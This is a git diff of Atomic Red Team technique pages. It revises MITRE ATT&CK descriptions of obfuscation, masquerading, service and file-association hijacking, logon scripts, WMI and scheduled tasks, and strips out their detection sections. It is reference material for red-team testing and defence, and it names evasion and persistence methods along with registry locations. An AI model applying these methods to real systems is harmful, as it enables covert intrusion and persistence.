(Citation: Carbon Black Obfuscation Sept 2016) -Adversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017) +Adversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017) -Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) - -Detection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). - -Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) - -Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. - -Platforms: Linux, macOS, Windows - -Data Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection - -Defense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path - -Contributors: Red Canary, Christiaan Beek, @ChristiaanBeek
+Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ## Atomic Tests diff --git a/atomics/T1028/T1028.md b/atomics/T1028/T1028.md index f5c36f8c1a..46137e0694 100644 --- a/atomics/T1028/T1028.md +++ b/atomics/T1028/T1028.md @@ -1,18 +1,6 @@ # T1028 - Windows Remote Management ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1028) -
Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014) - -Detection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. - -Platforms: Windows - -Data Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring - -Permissions Required: User, Administrator - -System Requirements: WinRM listener turned on and configured on remote system - -Remote Support: Yes
+
Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)
## Atomic Tests diff --git a/atomics/T1030/T1030.md b/atomics/T1030/T1030.md index 0d13ddf2b1..75ec66b633 100644 --- a/atomics/T1030/T1030.md +++ b/atomics/T1030/T1030.md @@ -1,14 +1,6 @@ # T1030 - Data Transfer Size Limits ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1030) -
An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts. - -Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - -Platforms: Linux, macOS, Windows - -Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring - -Requires Network: Yes
+
An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
## Atomic Tests diff --git a/atomics/T1031/T1031.md b/atomics/T1031/T1031.md index b5a3dcf1ba..121ab27276 100644 --- a/atomics/T1031/T1031.md +++ b/atomics/T1031/T1031.md @@ -1,26 +1,10 @@ # T1031 - Modify Existing Service ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1031) -
Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg. +
Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). -Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. +Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. -Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013) - -Detection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) - -Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. - -Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts. - -Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. - -Platforms: Windows - -Data Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring - -Permissions Required: Administrator, SYSTEM - -Contributors: Travis Smith, Tripwire, Matthew Demaske, Adaptforward
+Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)
## Atomic Tests diff --git a/atomics/T1033/T1033.md b/atomics/T1033/T1033.md index 771f6fee3e..d8513de893 100644 --- a/atomics/T1033/T1033.md +++ b/atomics/T1033/T1033.md @@ -1,26 +1,16 @@ # T1033 - System Owner/User Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1033) -
===Windows=== +
### Windows -Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. +Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. -===Mac=== +### Mac On Mac, the currently logged in user can be identified with users,w, and who. -===Linux=== +### Linux -On Linux, the currently logged in user can be identified with w and who. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. - -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Process monitoring, Process command-line parameters - -Permissions Required: User, Administrator
+On Linux, the currently logged in user can be identified with w and who.
## Atomic Tests diff --git a/atomics/T1035/T1035.md b/atomics/T1035/T1035.md index f7a41bec06..88a8d8a662 100644 --- a/atomics/T1035/T1035.md +++ b/atomics/T1035/T1035.md @@ -1,16 +1,6 @@ # T1035 - Service Execution ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1035) -
Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation. - -Detection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec. - -Platforms: Windows - -Data Sources: Windows Registry, Process command-line parameters, Process monitoring - -Permissions Required: Administrator, SYSTEM - -Remote Support: Yes
+
Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.
## Atomic Tests diff --git a/atomics/T1036/T1036.md b/atomics/T1036/T1036.md index 11b593990c..a0979fccb6 100644 --- a/atomics/T1036/T1036.md +++ b/atomics/T1036/T1036.md @@ -1,31 +1,19 @@ # T1036 - Masquerading ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1036) -
Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed. +
Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed. -One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate. +One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate. -===Windows=== +### Windows In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) -An example of abuse of trusted locations in Windows would be the C:\Windows\System32 directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe". +An example of abuse of trusted locations in Windows would be the C:\Windows\System32 directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe". -===Linux=== -Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten) +### Linux +Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten) -An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis) - -Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. - -If file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) - -Platforms: Linux, macOS, Windows - -Data Sources: File monitoring, Process monitoring, Binary file metadata - -Defense Bypassed: Whitelisting by file name or path - -Contributors: ENDGAME, Bartosz Jerzman
+An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)
## Atomic Tests diff --git a/atomics/T1037/T1037.md b/atomics/T1037/T1037.md index c6f3b426ec..b1cf6169c6 100644 --- a/atomics/T1037/T1037.md +++ b/atomics/T1037/T1037.md @@ -1,22 +1,14 @@ # T1037 - Logon Scripts ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1037) -
===Windows=== +
### Windows Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. -===Mac=== +### Mac -Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in. - -Detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. - -Platforms: macOS, Windows - -Data Sources: File monitoring, Process monitoring - -System Requirements: Write access to system or domain logon scripts
+Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.
## Atomic Tests diff --git a/atomics/T1040/T1040.md b/atomics/T1040/T1040.md index b69eff2dbb..3ef4fd8a97 100644 --- a/atomics/T1040/T1040.md +++ b/atomics/T1040/T1040.md @@ -1,18 +1,10 @@ # T1040 - Network Sniffing ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1040) -
Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. +
Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. -User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. +Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. -Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. - -Platforms: Linux, macOS, Windows - -Data Sources: Network device logs, Host network interface, Netflow/Enclave netflow - -Permissions Required: Administrator, SYSTEM - -System Requirements: Network interface access and packet capture driver
+Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.
## Atomic Tests diff --git a/atomics/T1042/T1042.md b/atomics/T1042/T1042.md index f3ec4dfa08..24294324a7 100644 --- a/atomics/T1042/T1042.md +++ b/atomics/T1042/T1042.md @@ -1,27 +1,13 @@ # T1042 - Change Default File Association ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1042) -
When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. +
When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example: -*HKEY_CLASSES_ROOT\txtfile\shell\open\command -*HKEY_CLASSES_ROOT\txtfile\shell\print\command -*HKEY_CLASSES_ROOT\txtfile\shell\printto\command +* HKEY_CLASSES_ROOT\txtfile\shell\open\command +* HKEY_CLASSES_ROOT\txtfile\shell\print\command +* HKEY_CLASSES_ROOT\txtfile\shell\printto\command -The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands. - -Detection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. - -User file association preferences are stored under [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys. - -Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. - -Platforms: Windows - -Data Sources: Windows Registry, Process command-line parameters, Process monitoring - -Permissions Required: User, Administrator, SYSTEM - -Contributors: Stefan Kanthak, Travis Smith, Tripwire
+The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)
## Atomic Tests diff --git a/atomics/T1046/T1046.md b/atomics/T1046/T1046.md index 77a22185e2..53abc0c45a 100644 --- a/atomics/T1046/T1046.md +++ b/atomics/T1046/T1046.md @@ -1,16 +1,6 @@ # T1046 - Network Service Scanning ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1046) -
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans. - -Platforms: Linux, macOS, Windows - -Data Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network - -Permissions Required: User, Administrator, SYSTEM
+
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
## Atomic Tests diff --git a/atomics/T1047/T1047.md b/atomics/T1047/T1047.md index f053d4b1ea..d94e6c0db7 100644 --- a/atomics/T1047/T1047.md +++ b/atomics/T1047/T1047.md @@ -2,21 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1047)
Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) -An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015) - -Detection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015) - -Platforms: Windows - -Data Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring - -Permissions Required: User, Administrator - -System Requirements: WMI service, winmgmt, running. -Host/network firewalls allowing SMB and WMI ports from source to destination. -SMB authentication. - -Remote Support: Yes
+An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015) ## Atomic Tests diff --git a/atomics/T1048/T1048.md b/atomics/T1048/T1048.md index 01d7c6549f..5799318448 100644 --- a/atomics/T1048/T1048.md +++ b/atomics/T1048/T1048.md @@ -1,14 +1,6 @@ # T1048 - Exfiltration Over Alternative Protocol ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1048) -
Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage. - -Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - -Platforms: Linux, macOS, Windows - -Data Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis - -Requires Network: Yes
+
Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.
## Atomic Tests diff --git a/atomics/T1049/T1049.md b/atomics/T1049/T1049.md index 24b97e5e78..320c6ca0cf 100644 --- a/atomics/T1049/T1049.md +++ b/atomics/T1049/T1049.md @@ -2,23 +2,13 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1049)
Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. -===Windows=== +### Windows -Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net. +Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). -===Mac and Linux === +### Mac and Linux -In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session". - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: Linux, macOS, Windows - -Data Sources: Process command-line parameters, Process monitoring - -Permissions Required: User, Administrator
+In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session". ## Atomic Tests diff --git a/atomics/T1050/T1050.md b/atomics/T1050/T1050.md index e25b8a6f13..c14e323d76 100644 --- a/atomics/T1050/T1050.md +++ b/atomics/T1050/T1050.md @@ -2,21 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1050)
When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. -Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution. - -Detection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - -Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. - -Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. - -Platforms: Windows - -Data Sources: Windows Registry, Process monitoring, Process command-line parameters - -Effective Permissions: SYSTEM - -Permissions Required: Administrator, SYSTEM
+Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035). ## Atomic Tests diff --git a/atomics/T1053/T1053.md b/atomics/T1053/T1053.md index 8f7cb7f699..2128963ea2 100644 --- a/atomics/T1053/T1053.md +++ b/atomics/T1053/T1053.md @@ -1,32 +1,8 @@ # T1053 - Scheduled Task ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1053) -
Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) +
Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) -An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. - -Detection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - -Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) - -*Event ID 106 - Scheduled task registered -*Event ID 140 - Scheduled task updated -*Event ID 141 - Scheduled task removed - -Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. - -Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. - -Platforms: Windows - -Data Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs - -Effective Permissions: Administrator, SYSTEM, User - -Permissions Required: Administrator, SYSTEM, User - -Remote Support: Yes - -Contributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security
+An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
